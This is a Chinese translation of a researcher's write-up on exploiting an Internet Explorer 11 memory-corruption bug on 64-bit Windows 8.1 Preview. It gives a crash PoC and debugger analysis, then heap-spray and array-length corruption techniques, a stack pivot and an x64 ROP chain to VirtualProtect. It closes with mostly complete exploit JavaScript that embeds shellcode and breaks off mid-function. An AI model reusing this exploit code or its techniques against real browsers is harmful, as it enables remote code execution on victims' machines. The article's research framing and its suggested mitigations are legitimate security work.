安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】Exploiting Internet Explorer 11 64-bit on Windows 8.1 Preview

http://p8.qhimg.com/t017510e05f46131bbf.jpg

翻译:Ox9A82


前言


在今年的早些时候微软发布了几个安全奖励计划,其中的一个就是寻找在IE11中的漏洞。我参加了这次活动,并且很快找到了一个内存破坏类漏洞。尽管我相信这个漏洞是可以被利用来进行任意代码执行的,但是因为缺少时间我当时并没有写出可以利用的exp。然而,出于对新版本操作系统中全新的浏览器exp编写难度的兴趣,我决定来动手开发一个可用的exp。在这篇文章中,我将首先对这个漏洞进行一个介绍,然后在64位Windows 8.1 Preview版本上开发一个可用的exp。

当我尝试开发exp时,我并没有试图去实现一个100%可靠的exp(我的目的是在新的平台下做个试验,而不是要做一个实际的攻击武器)但是,我给自己设置了一些限制,这将使这个练习更具有挑战性:

1. 漏洞exp的利用不应依赖于其他插件(所以没有Flash和Java),我想让它工作在默认的安装环境。

2. 该漏洞必须能够在64位Windows上的64位IE进程中工作。使用32位IE进程其实是在作弊,因为许多漏洞缓解技术(如堆基址随机化)在32位操作系统和进程上并不生效。此外就是现在64位Windows下的exp比较少。

3. 不组合使用其他漏洞(例如为了绕过ASLR而组合使用另一个漏洞)

关于利用64位Internet Explorer的一个事先注意事项是:在Windows 8和8.1中,当直接在桌面上运行IE时,IE的主进程是64位的,但是渲染器进程将是32位。如果使用新的接口(指windows8的触摸屏),那么两个进程都会是64位的。这一有趣的选择使得桌面版本的IE不太安全。因此在默认环境中,这里展示的exp实际上是针对IE的触摸屏版本的。

为了进行exploit的开发需要强制IE进程在桌面上也使用64位模式,我强制IE使用了单进程模式(TabProcGrowth注册表项)。但是请注意,这里仅供调试使用,如果用于浏览随机页面,它会使IE更不安全,因为它会禁用IE的沙盒模式。


漏洞分析


能够触发该漏洞的一个简短的poc例程如下所示

<script>
function bug() {
 t = document.getElementsByTagName("table")[0];
 t.parentNode.runtimeStyle.posWidth = "";
 t.focus();
}
</script>
<body onload=bug()>
<table><th><ins>aaaaaaaaaa aaaaaaaaaa

这是错误输出:

(4a8.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0        mov     rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> r
rax=000000a6d1466170 rbx=000000a6d681c360 rcx=000000000000007f
rdx=0000000001ffffff rsi=000000a6d5960330 rdi=00000000ffffffff
rip=00007ff8e0c90306 rsp=000000a6d61794b0 rbp=000000a6d5943a90
r8=0000000000000001  r9=0000000000000008 r10=00000000c0000034
r11=000000a6d61794a0 r12=00000000ffffffff r13=00000000ffffffff
r14=000000000000000b r15=00000000ffffffff
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0        mov     rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> k
Child-SP          RetAddr           Call Site
000000a6`d61794b0 00007ff8`e0e49cc0 MSHTML!Layout::ContainerBox::ContainerBox+0x1e6
000000a6`d6179530 00007ff8`e0e554a8 MSHTML!Layout::TableGridBox::TableGridBox+0x38
000000a6`d6179590 00007ff8`e0e553c2 MSHTML!Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder+0xd8
000000a6`d6179600 00007ff8`e0c8b720 MSHTML!Layout::LayoutBuilder::CreateLayoutBoxBuilder+0x2c9
000000a6`d61796c0 00007ff8`e0c8a583 MSHTML!Layout::LayoutBuilderDriver::StartLayout+0x85f
000000a6`d61798d0 00007ff8`e0c85bb2 MSHTML!Layout::PageCollection::FormatPage+0x287
000000a6`d6179a60 00007ff8`e0c856ae MSHTML!Layout::PageCollection::LayoutPagesCore+0x2aa
000000a6`d6179c00 00007ff8`e0c86389 MSHTML!Layout::PageCollection::LayoutPages+0x18e
000000a6`d6179c90 00007ff8`e0c8610f MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x251
000000a6`d6179db0 00007ff8`e0df85ca MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd7
000000a6`d6179e70 00007ff8`e12d472d MSHTML!CMarkupPageLayout::DoLayout+0x76
000000a6`d6179eb0 00007ff8`e0d9de95 MSHTML!CView::EnsureView+0xcde
000000a6`d617a270 00007ff8`e0d1c29e MSHTML!CElement::EnsureRecalcNotify+0x135
000000a6`d617a310 00007ff8`e1556150 MSHTML!CElement::EnsureRecalcNotify+0x1e
000000a6`d617a350 00007ff8`e1555f6b MSHTML!CElement::focusHelperInternal+0x154
000000a6`d617a3b0 00007ff8`e19195ee MSHTML!CElement::focus+0x87
000000a6`d617a400 00007ff8`e06ed862 MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x52
000000a6`d617a460 00007ff8`e06f0039 jscript9!amd64_CallFunction+0x82
000000a6`d617a4b0 00007ff8`e06ed862 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x154
000000a6`d617a550 00007ff8`e06f26ff jscript9!amd64_CallFunction+0x82

从上面可以看出,IE进程崩溃在MSHTML!Layout:ContainerBox:ContainerBox函数中,因为试图读取rax + rdx * 8指向的未初始化内存。rax实际上是指向一个CFormatCache对象的内存,而rdx(0x0000000001ffffff)的值是很有趣的。所以我查看了ContainerBox:ContainerBox函数的代码,想看看这个值是从哪里来的,以及如果攻击者控制了rax + 0xffffff8处的内存之后可以做什么。

00007ffb`dac00145 83cdff          or      ebp,0FFFFFFFFh
...
00007ffb`dac0023e 440fb64713      movzx   r8d,byte ptr [rdi+13h]
00007ffb`dac00243 410fb6c0        movzx   eax,r8b
00007ffb`dac00247 c0e805          shr     al,5
00007ffb`dac0024a 2401            and     al,1
00007ffb`dac0024c 0f84048f6200    je      MSHTML!Layout::ContainerBox::ContainerBox+0x562 (00007ffb`db229156)
00007ffb`dac00252 440fb76f68      movzx   r13d,word ptr [rdi+68h]
...
00007ffb`db229156 448bed          mov     r13d,ebp
00007ffb`db229159 e9f9709dff      jmp     MSHTML!Layout::ContainerBox::ContainerBox+0x137 (00007ffb`dac00257)
...
00007ffb`dac002db 410fbffd        movsx   edi,r13w
...
00007ffb`dac002fb 8bcf            mov     ecx,edi
00007ffb`dac002fd 8bd7            mov     edx,edi
00007ffb`dac002ff 48c1ea07        shr     rdx,7
00007ffb`dac00303 83e17f          and     ecx,7Fh
00007ffb`dac00306 488b04d0        mov     rax,qword ptr [rax+rdx*8] ds:0000007a`390257f8=????????????????
00007ffb`dac0030a 488d0c49        lea     rcx,[rcx+rcx*2]
00007ffb`dac0030e 488d14c8        lea     rdx,[rax+rcx*8]
00007ffb`dac00312 8b4cc810        mov     ecx,dword ptr [rax+rcx*8+10h]
00007ffb`dac00316 8b420c          mov     eax,dword ptr [rdx+0Ch]
00007ffb`dac00319 3bc8            cmp     ecx,eax
00007ffb`dac0031b 0f83150d7500    jae     MSHTML!Layout::ContainerBox::ContainerBox+0x750f16 (00007ffb`db351036)
00007ffb`dac00321 ffc0            inc     eax
00007ffb`dac00323 89420c          mov     dword ptr [rdx+0Ch],eax

崩溃时rdx的值是由ebp值经过几次赋值之后得来的,ebp在函数开头部分被初始化为0xFFFFFFFF(注意,ebp/rbp在这里不用作栈指针)。我的假设是,值0xFFFFFFFF(-1)是用作CFormatCache索引变量的初始值的。在稍后的代码中,获取了一个指向CTreeNode对象的指针,然后检查CTreeNode中的标志,如果它被设置,则从CTreeNode对象中复制索引值。然而,如果未设置标志(如PoC中的情况),则使用初始值。值0xFFFFFFFF然后被分成上下两部分(CFormatCache看起来像是一个2个DWORD值的数组)。较高索引(将等于0x1ffffff)的值将乘以8(void *的大小),然后将此偏移量加到rax,并将此内存位置处的内容写回到rax。然后,让索引低位(将为0x7f)的值乘以24(可能是CCharFormat元素的大小),并将该偏移量加到eax,然后将此内存位置的内容写入rdx。最后,这是与利用相关的部分:取出[rdx + 0C]处的数字,自增之后再写回[rdx + 0C]

用C++描述会简化一些,相关的代码会是这样的:

int cacheIndex = -1;
if(treeNode->flag) {
  cacheIndex = treeNode->cacheIndex;
} 
unsigned int index_hi = cacheIndex, index_lo = cacheIndex;
index_hi = index_hi >> 7;
index_lo = index_lo & 0x7f;
//with sizeof(formatCache[i]) == 8 and sizeof(formatCache[i][j]) == 24
formatCache[index_hi][index_lo].some_number++;

出于实际利用的目的,情况是这样的:一个指向有效内存(CFormatCache指针)的指针会增加0x0FFFFFF8(256M)的大小,并且相加得到的地址的值会被当作另一个指针来处理。让我们调用地址(CFormatCache地址+0x0FFFFFF8)P1和它指向的指针P2。在P2+0xBF4处的DWORD值将被加1(注意,0xBF4的值是这么来的:0x7F * 3 * 8 + 0x0C)。


漏洞利用


如果我们是在为一个32位的进程编写一个exp,那么一个直接(但不是很优雅)的方法是利用堆喷射来喷射出一个32位的地址,使得当0xBF4与它相加之后的地址上存在有趣的东西(例如字符串或数组长度)。这个所谓的“有趣的东西”可以通过另一个堆喷射来进行布局。

然而这个exp是针对具有全ASLR保护的64位进程编写的,因此我们不知道或者不能够猜测到“有趣”对象的地址。我们当然不会去填充64位进程的地址空间,因为堆基址将被随机化从而使得堆上对象的地址不可预测。


堆喷射


然而,即使在这种情况下,堆喷射仍然可用于漏洞利用的第一部分。注意,当触发漏洞时,P1会被计算为有效堆地址加0x0FFFFFF8(256M)的值。如果我们进行堆喷,来分配相对于堆基地址的内存。通过喷射大约256M的内存,我们可以将P2设置为任意值。

总而言之,尽管64位进程和堆地址随机化中的地址空间明显更大,但是在脆弱的程序对堆基地址+一个大偏移处的内存进行解引用的时候,堆喷射仍然有效。而且这是越界访问漏洞的典型行为,所以很常见。除了这里讨论的这个漏洞之外,以前我写过exp的IE漏洞也有这种表现。

尽管在现在的exp中通常避免使用堆喷射,而去使用更可靠的替代方案,但是在256M大小偏移固定的情况下,它是非常可靠的。虽然偏移是固定的,但是对于堆喷射来说这是一个非常合适的值。即不是太大,从而导致内存耗尽,也不是太小,从而造成可靠性的问题。


不存在Flash插件


但是,不能预测这个“有趣对象”地址的问题仍然存在,因此我们要考虑的问题是,我们要喷射什么?在这里我们用喷射指针的方式来取代喷射具体的值。因为在取p2指针指向的值之前,会先将一个0xBF4大小的偏移量加到P2,所以我们将喷射一些对象的地址,并尝试使这个地址+0xBF4的值指向一些我们感兴趣的东西。

那么什么是“我们感兴趣的东西”呢?我第一个尝试的是JavaScript字符串的长度值。虽然我能够覆盖字符串长度值(长度值为qword)的高位dword部分,但出现了一个问题:JavaScript字符串的长度值被视为是32位(bit)的数字。但是注意,64位进程上的大多数指针(包括我们要在堆喷射中使用的)都是qword对齐的,当向这样的指针值加一个0xBF4的偏移量时,我们将在一个以qword进行对齐的内存中指向一个qword的高dword部分。所以我们的目标值是不能以64位或是qword进行对齐的。

另一个想法是尝试覆盖地址。但是请注意,触发该漏洞会使地址增加4GB大小(假设地址值是以qword进行对齐的),因为我们增加了高位的dword。为了控制这个地址上的内容,我们将需要进行另一个大约4G大小的堆喷射,这将导致计算机上的内存资源被耗尽。顺便说一下,我运行Windows 8.1虚拟机的计算机只安装了4GB的内存,而分配给虚拟机的只有2GB的内存,所以我决定放弃这个想法,看看有没有可用的替代品。

我发现在实际攻击中使用过的几个漏洞exp,是通过覆盖Flash数组(Array)的长度域来利用漏洞的。但是在此次练习中Flash是不允许使用的,所以让我们来看看IE 11中的JavaScript数组。事实证明,有一个有趣的值是正确对齐的。下面显示了一个示例的JavaScript数组对象,并且附有一些字段的解释。注意,实际的数组内容可以被分块储存在多个缓冲区中。

http://p0.qhimg.com/t018cbb861a6d97259c.png

offset:0, size:8 vtable ptr
offset:0x20, size:4 array length
offset:0x28, size:8 pointer to the buffer containing array data
[beginning of the first buffer, stored together with the array]
offset:0x50, size:4 index of the first element in this buffer
offset:0x54, size:4 number of elements currently in the buffer
offset:0x58, size:4 buffer capacity
offset:0x60, size:8 ptr to the next buffer
offset:0x68, size:varies array data stored in the buffer

虽然没有必要了解漏洞利用,但是这里也提供了一个String对象示例,并且附有一些字段的解释。

http://p6.qhimg.com/t01e8b83c770ad3eda3.png

我们将喷射指向JavaScript String对象的指针,使用的方式是创建一个大的javascript数组,其中数组中的每一个元素都将是同一个字符串对象。我们还将采用同样的方式来获得内存对齐,从字符串开始偏移0xBF4大小的地方,就是我们要覆盖的值。

你可能想知道为什么我喷射的是字符串指针而不是数组对象指针。这是因为String对象相对来说要小得多(32字节对比128字节),所以通过使多个字符串彼此接近并指向一个特定的字符串,我们可以更好地“瞄准”数组对象内的特定偏移值。当然,如果我们有几个字符串彼此相邻,问题就变成了在堆喷射中该使用哪一个。由于Array对象是String的4倍大小,因此在我们可以覆盖的数组中有四个不同的偏移量。如果是随机选择的话,在正确的情况下(具有概率1/4),我们将能够完全覆盖住我们想要的值。在另一种情况下,我们的覆盖会导致数组后续访问违例的地址从而崩溃。在剩下的两种情况下,我们会覆盖到不重要的值,我们可以通过使用指向不同字符串的指针来重新尝试。因此盲目猜测的成功率是1/4,而尝试/重试方法的成功率将是3/4。一个更好的方法是首先对内存进行对齐,以便将可读的内容放在与堆喷射中使用的String对象的0xBF4偏移处。虽然我观察到这是可行的,但我并没有在漏洞代码中提供具体的实现,而是留给读者作为一个练习。有关可以帮助您实现此类对齐的信息,请参阅下一节。

在提供的漏洞代码中,使用的是一个简单(半)盲目的方法,其中有一个大的字符串数组(strarr),并且有一个固定索引的字符串用于堆喷。我注意到,这在我使用一个新的进程或选项卡打开PoC(所以在当前进程中我并没有布置其它javascript对象)时可以可靠地工作。如果我使用的索引值不适合你的环境,你可能需要选择一个不同的值或换一个方法。


Javascript中的堆风水


在继续研究漏洞exp之前,让我们先花一些时间来研究如何在IE11中进行堆喷射,并且在堆上获得具有较高可靠性的对象。

第一点,堆喷射

虽然微软已经采取措施使得用Javascript字符串喷射堆变得很困难,但是在IE11中Javascript数组似乎并不受这些影响。我们可以通过指针或是绝对值两种方式来进行喷射,例如创建一个大的整数数组。虽然最近有很多IE漏洞exp是使用Flash进行堆喷射的,但是这么做没有必要。考虑到现在的Javascript Array的分配速度很快,Javascript数组可能是未来在IE浏览器中进行堆喷射的首选。

第二点,对象在堆上的对齐

虽然在Windows 8以上版本(低碎片堆)的默认堆的实现中包含了几个缓解措施如页面保护和分配顺序随机化,这使得获得所需的对齐更加困难。但是在IE11中基本的JavaScript对象(例如Array对象和String对象)使用的是没有这些功能的自定义堆。

我接下来会描述我观察到的这个JavaScript堆的具体实现。请注意,以下所有内容都是基于对行为的观察,而不是通过逆向工程代码,因此我可能会做出一些错误的结论,但在exp中它确实是这样工作的。

JavaScript对象的空间以0x20000字节的块为单位进行分配。如果需要更多的空间,将分配额外的块,并且没有什么可以阻止这些块彼此相邻(因此,一个块中的溢出理论上可以写入到另一个块中)。

这些块进一步划分为0x1000字节的bins(至少对于小对象)。一个bin只保存相同大小和类型的对象。例如,在这个exploit中,我们分别有32和128字节的String和Array对象,一些bin只保存String对象(最多128个对象),而其中一些只保存Array对象(最多32个对象)。当一个bin被完全使用时,它只包含用户数据,而没有元数据。我还观察到对象本身存储在单独的0x20000大小的块中,并且与用户提供的内容是分开的,因此字符串和数组数据将存储在与相应的String和Array对象不同的块中,除非数据足够小才会与对象一起存储(例如,单字符字符串,小数组,如漏洞中的5元素)。

给定的bin内的对象分配顺序是顺序的。这意味着,如果我们连续创建三个String对象,并且假设在任何一个bin中没有空洞,它们将彼此相邻,第一个对象位于最低地址,后面紧跟着第二个。


一些小技巧


所以在这一点上,我们可以增加JavaScript数组中元素的数量。在实际操作中,我们将多次触发漏洞(在提供的exp中为5次,每次触发漏洞会将此数字加3)来使它增大。不幸的是,增加元素的数量不允许我们写数据超过缓冲区的结尾,但它允许我们读取超过结尾数据,这一点就已经足够让我们绕过ASLR了,并且可以泄漏出我们要覆盖的Array对象的精确地址。

在知道了Array对象的地址之后,我们就可以进行反复的堆喷射,但是这次,我们将使用精确值进行喷射(我使用整数数组来喷射准确的值)。我们要喷射的值将是一个数组的缓冲区地址减去0xBF1。这意味着喷射值+ 0xBF4将是此块缓冲区中capacity域(表示缓冲区尺寸)的最高字节的地址。在capacity域被覆盖之后,我们就能够向JS Array缓冲区的末尾之后读取或写入数据。

在这里,我们很容易地得到了构成现代浏览器漏洞利用的两个重要元素:任意内存地址读和劫持并控制RIP。

任意内存地址读:

我们可以通过找到Array后面的一个紧邻的String对象的内存,然后覆盖这个对象的缓冲区指针域和大小域来实现读取任意内存(如果我们想要读取更多的数据)。

控制RIP:

我们可以通过覆盖附近Array对象的虚函数表(vtable)指针并调用虚函数来控制RIP。虽然IE10为mshtml.dll中的一些类引入了虚函数表保护(vtguard),但jscript9.dll中并没有使用这样的保护。然而,请注意,在拥有了内存泄漏的情况下,即使存在vtguard保护,那也只是一个小问题。


编写64位exp


通过控制RIP和内存泄漏,我们将构建一个ROP链,以便击败DEP。由于我们不能控制堆栈,我们需要做的第一件事是寻找堆栈翻转(pivot)的gadgets。所以,拥有了任意内存泄漏的我们应该能够很容易的在一些可执行模块中搜索到

xchg rax,rsp; 
ret;

吧?好吧,并没有这么简单。事实告诉我们,在x64中,堆栈翻转的gadgets比x86代码中要少得多。 在x86中,

xchg eax,esp;
ret;

将只有2个字节的大小,所以会有很多非预期的序列(即本身不是这两条指令,但是两个字节凑在一起恰好形成了这个指令)。在x64中

xchg rax,rsp;

是3个字节,这使它更不常见。我没有能够在mshtml.dll和jscript9.dll中找到它(或任何其他的“干净的”堆栈翻转gadgets,因此我不得不寻找一些替代品)在研究了一下mshtml.dll后,我发现了一个可用的gadgets序列如下所示,它不是很干净,但假设rax和rcx都指向一个可读的内存,这就是现在的情况。

00007ffb`265ea973 50              push    rax
00007ffb`265ea974 5c              pop     rsp
00007ffb`265ea975 85d2            test    edx,edx
00007ffb`265ea977 7408            je      MSHTML!CTableLayout::GetLastRow+0x25 (00007ffb`265ea981)
00007ffb`265ea979 8b4058          mov     eax,dword ptr [rax+58h]
00007ffb`265ea97c ffc8            dec     eax
00007ffb`265ea97e 03c2            add     eax,edx
00007ffb`265ea980 c3              ret
00007ffb`265ea981 8b8184010000    mov     eax,dword ptr [rcx+184h]
00007ffb`265ea987 ffc8            dec     eax
00007ffb`265ea989 c3              ret

注意,虽然在序列中存在条件跳转,但是两个分支都以RET结束,所以并不会导致崩溃,因此它们都可以达到我们的目的。虽然漏洞利用主要依赖于jscript9.dll中的对象,但是mshtml.dll模块的地址可以很容易地通过内存泄漏来获得。我们可以把一个mshtml对象放入到一个JS数组对象中去,然后我们可以读取到mshtml对象的虚表并且引用它。

在获得了栈的控制之后,我们可以调用VirtualProtect来分配一块内存,这块内存可以允许我们写入代码并进行执行。我们可以通过mshtml.dll的IAT找到VirtualProtect函数的地址(因此exp中要包含一些基本的PE结构的解析)。所以,在获得了VirtualProtect函数的地址和控制了堆栈的情况下,我们就可以把正确的参数放在堆栈上并返回调用VirtualProtect函数了,对吧?好吧,还是没有。因为在64位Windows中,使用的调用约定是与32位不同的。64位Windows使用fastcall约定,前4个参数(这正是VirtualProtect的参数数量)通过寄存器RCX,RDX,R8和R9(按此顺序)来传递。因此,我们需要一些额外的gadgets来将正确的参数加载到正确的寄存器中:

pop rcx; ret;
pop rdx; ret;
pop r8; ret;
pop r9; ret;

如上所示,前三个参数在mshtml.dll模块中是比较常见的。但是第四个不是很常见,不过对于VirtualProtect来说,最后一个参数只需要指向一个可写内存的即可,而在我们获得对RIP控制的时候就已经是这种情况了,所以我们实际上不需要更改r9。

最终的ROP链看起来像是这样:

address of pop rcx; ret;
address on the heap block with shellcode
address of pop rdx; ret;
0x1000 (size of the memory that we want to make executable)
address of pop r8; ret;
0x40 (PAGE_EXECUTE_READWRITE)
address of VirtualProtect
address of shellcode

所以,我们现在终于可以在64位的Windows 7和8执行一些x64的shellcode,比如像SkyLined的x64 calc shellcode那样的,对不对?好吧,还是没有。Shellcode作者通常相对于兼容性来说要更注重尺寸,并且节省空间的手段往往依赖于当前操作系统版本特性,这使得它很难运行在以后的操作系统版本上。例如,出于兼容性原因,Windows7和8存储PEB,模块信息结构以及地址低于2G的ntdll和kernel32模块。但是这在Windows 8.1预览版中不再成立。此外,虽然Windows x64 fastcall调用约定需要在堆栈上留下32字节的影子空间以调用函数,但是SkyLined的win64-exec-calc-shellcode在调用WinExec之前只需要空余出8个字节。虽然这个shellcode可以在Windows7和Windows8上工作,但是在Windows 8.1预览版上这将导致存储在栈上的字符串(“calc”)被覆盖,因为它被存储在了WinExec的阴影空间中。为了解决这些兼容性问题,我对shellcode进行了修改,并且使用在我提供的exp中。它现在应该可以在Windows 8.1上正常工作了。

就像图片展示的这样,最后我们可以成功执行shellcode,从而证明了可以进行任意代码执行。因为IE只有在触摸屏模式下是完全64位的,我没有一个漂亮的Windows计算器的屏幕截图(计算显示在桌面上)。但我确实有一个IE强制载入64位进程的桌面屏幕截图。

http://p2.qhimg.com/t0133227f2678b51183.png

完整的漏洞利用代码可以在本文的末尾找到。


结论


虽然Windows8/8.1包含了令人印象深刻的漏洞缓解措施,但是内存破坏类漏洞仍然存活着并且可以被利用。很明显,一些漏洞类型可能变得更加难以利用,但是这里讲的这个漏洞是我发现的第一个IE11的漏洞,可能有更多的漏洞可以以类似的方式被利用。该漏洞还表明,在某些情况下,即使在64位进程中堆喷射仍然有用。虽然在一些情况下,编写在x64上的漏洞利用比在x86上更加困难(例如要找到进行喷射的内容和要覆写的东西,查找堆栈翻转的gadgets等),但这些困难并不足以阻止一个目的明确的攻击者。

最后,基于我所知道的一些东西,我列出了一些可以使在Windows 8.1的IE11中编写exp更困难的保护方法:

考虑到攻击者使用JavaScript数组来突破堆喷射保护,可以对包含大量重复值的数组进行RLE编码。

对JavaScript堆添加与默认堆相同的保护,如添加页保护(guard pages)并引入地址随机化。

对常见的JavaScript对象的虚函数表进行保护。

对编译器进行更改以从代码中删除所有的可用的堆栈翻转gadgets。其实现在这些gadgets在x64代码中已经很少了,所以不会对性能有很大的影响。


exp 代码


<script>
 var magic = 25001; //if the exploit doesn't work for you try selecting another number in the range 25000 -/+ 128
 var strarr = new Array();
 var arrarr = new Array();
 var sprayarr = new Array();
 var numsploits;
 var addrhi,addrlo;
 var arrindex = -1;
 var strindex = -1;
 var strobjidx = -1;
 var mshtmllo,mshtmlhi;
 //calc shellcode, based on SkyLined's x64 calc shellcode, but fixed to work on win 8.1
 var shellcode = [0x40, 0x80, 0xe4, 0xf8, 0x6a, 0x60, 0x59, 0x65, 0x48, 0x8b, 0x31, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x4f, 0x3c, 0x8b, 0x5c, 0x0f, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x4c, 0x1f, 0x24, 0x48, 0x01, 0xf9, 0x31, 0xd2, 0x0f, 0xb7, 0x2c, 0x51, 0xff, 0xc2, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xf0, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x31, 0xd2, 0x48, 0x83, 0xec, 0x28, 0xff, 0xd7, 0xcc, 0, 0, 0, 0];
//triggers the bug
function crash(i) {
 numsploits = numsploits + 1;
 t = document.getElementsByTagName("table")[i];
 t.parentNode.runtimeStyle.posWidth = -1;
 t.focus();
 setTimeout(cont, 100);  
}
//heap spray
function spray() {
 var aa = "aa";
 //create a bunch of String and Array objects
 for(var i=0;i<50000;i++) {
   strarr[i] = aa.toUpperCase();
   arrarr[i] = new Array(1,2,3,4,5);
 }
 //heap-spray with pointers to a String object
 for(var i=0;i<2000;i++) {
   var tmparr = new Array(16000);
   for(var j=0;j<16000;j++) {
     tmparr[j] = strarr[magic];
   }
   sprayarr[i] = tmparr;
 }
 crash(0);
}
function cont() {
 if(numsploits < 5) {
   crash(numsploits);
   return;
 }
 if(numsploits < 6) {
   setTimeout(afterFirstOverwrite, 0);
   return;
 }
 //alert("done2");
 afterSecondOverwrite();
}
function afterFirstOverwrite() {
 //check which array was overwritten
 for(var i=24000;i<25000;i++) {
   arrarr[i][18] = 1;
   var a = arrarr[i][4];
   var b = arrarr[i][16];
   var c = arrarr[i][17];
   if(typeof(b)!="undefined") {
     arrindex = i;
     addrlo = b;
     addrhi = c;
     break;
   }
 }
 if(arrindex < 0) {
   alert("Exploit failed, error overwriting array");
   return;
 }
 //alert(arrindex);
 //re-spray to overwrite buffer capacity
 for(var i=0;i<2000;i++) {
   sprayarr[i] = new Array(32000);
 }
 CollectGarbage();
 for(var i=0;i<2000;i++) {
   for(var j=0;j<32000;j++) {
     if(j%2 == 0) {
       sprayarr[i][j] = addrlo + 8 - 0xBF4 + 3;
     } else {
       sprayarr[i][j] = addrhi;
     }
   }
 }
 //alert("done");
 crash(numsploits);
}
//unsigned to signed conversion
function u2s(i) {
 if(i>0x80000000) {
   return -(0xFFFFFFFF - i + 1);
 } else {
   return i;
 }
}
//signed to unsigned conversion
function s2u(i) {
 if(i<0) {
   return (0xFFFFFFFF + i + 1);
 } else {
   return i;
 }
}
//memory disclosure helper function, read 32-bit number from a given address
function read32(addrhi, addrlo) {
 arrarr[arrindex][strobjidx + 6] = u2s(addrlo);
 arrarr[arrindex][strobjidx + 7] = addrhi;
 return strarr[strindex].charCodeAt(0) + 0x10000 * strarr[strindex].charCodeAt(1);
}
//memory disclosure helper function, read 16-bit number from a given address
function read16(addrhi, addrlo) {
 arrarr[arrindex][strobjidx + 6] = u2s(addrlo);
 arrarr[arrindex][strobjidx + 7] = addrhi;
 return strarr[strindex].charCodeAt(0);
}
function afterSecondOverwrite() {
 arrindex = arrindex + 1;
 //adjusts the array length - gives us some space to read and write memory
 arrarr[arrindex][2+0x5000/4] = 0;
 //search for the next string object and overwrite its length and content ptr to write jscript9
 for(var i=1;i<=5;i++) {
   if((arrarr[arrindex][2 + i*0x400 - 0x20] == 2) && (arrarr[arrindex][3 + i*0x400 - 0x20] == 0)) {
     //alert("found");
     strobjidx = i*0x400 - 0x20 - 2;
     arrarr[arrindex][strobjidx+4] = 4;
     for(var j=20000;j<30000;j++) {
       if(strarr[j].length != 2) {
         strindex = j;
         break;
       }
     }
     break;
   }
 }
 if(strindex < 0) {
   alert("Exploit failed, couldn't overwrite string length");
   return;
 }
 //alert("mshtml");
 //create a mshtml object and follow references to its vtable ptr
 var lo1,hi1,lo2,hi2;
 arrarr[arrindex+1][0] = document.createElement("button");
 lo1 = s2u(arrarr[arrindex][6+0x28/4]);
 hi1 = arrarr[arrindex][6+0x28/4 + 1];
 lo2 = read32(hi1, lo1+0x18);
 hi2 = read32(hi1, lo1+0x18+4);
 mshtmllo = read32(hi2, lo2+0x20);
 mshtmlhi = read32(hi2, lo2+0x20+4);
 //find the module base
 mshtmllo = mshtmllo - mshtmllo % 0x1000;
 while(mshtmllo>0) {
   if(read16(mshtmlhi,mshtmllo) == 0x5A4D) break;
   mshtmllo = mshtmllo - 0x1000;
 }
 //find the address of VirtualProtect in the IAT
 var coff = read32(mshtmlhi, mshtmllo + 0x3C);
 var idata = read32(mshtmlhi, mshtmllo + coff + 4 + 20 + 120);
 var iat = read32(mshtmlhi, mshtmllo + idata + 16);
 var vplo =  read32(mshtmlhi, mshtmllo + iat + 0x8a8);
 var vphi =  read32(mshtmlhi, mshtmllo + iat + 0x8a8 + 4);
 //alert(mshtmlhi.toString(16)+"'"+mshtmllo.toString(16)+","+vplo.toString(16));
 //find the rop gadgets in mshtml
 var pivotlo = -1;
 arrarr[arrindex][strobjidx + 4] = 0x01000000;
 arrarr[arrindex][strobjidx + 6] = u2s(mshtmllo);
 arrarr[arrindex][strobjidx + 7] = mshtmlhi;
 for(var i=0x800;i<0x900000;i++) {
   if((strarr[strindex].charCodeAt(i) == 0x5C50)
     &&(strarr[strindex].charCodeAt(i+1) == 0xD285)
     &&(strarr[strindex].charCodeAt(i+2) == 0x0874)
     &&(strarr[strindex].charCodeAt(i+3) == 0x408b))
   {
     pivotlo = mshtmllo + i*2;
     break;
   }
   if((strarr[strindex].charCodeAt(i) == 0x508B)
     &&(strarr[strindex].charCodeAt(i+1) == 0x855C)
     &&(strarr[strindex].charCodeAt(i+2) == 0x74D2)
     &&(strarr[strindex].charCodeAt(i+3) == 0x8b08))
   {
     pivotlo = mshtmllo + i*2 + 1;
     break;
   }
 }
 if(pivotlo < 0) {
   alert("Exploit failed, couldn't find ROP gadgets");
   return;
 }
 //alert(pivotlo.toString(16));
 var poprcx = -1;
 for(var i=0x800;i<0x900000;i++) {
   if(strarr[strindex].charCodeAt(i) == 0xC359) {
     poprcx = mshtmllo + i*2;
     break;
   }
 }
 if(poprcx < 0) {
   alert("Exploit failed, couldn't find ROP gadgets");
   return;
 }
 var poprdx = -1;
 for(var i=0x800;i<0x900000;i++) {
   if(strarr[strindex].charCodeAt(i) == 0xC35A) {
     poprdx = mshtmllo + i*2;
     break;
   }
 }
 if(poprdx < 0) {
   alert("Exploit failed, couldn't find ROP gadgets");
   return;
 }
 var popr8 = -1;
 for(var i=0x800;i<0x900000;i++) {
   if((strarr[strindex].charCodeAt(i) == 0x5841) && (strarr[strindex].charCodeAt(i+1) % 256 == 0xC3)) {
     popr8 = mshtmllo + i*2;
     break;
   }
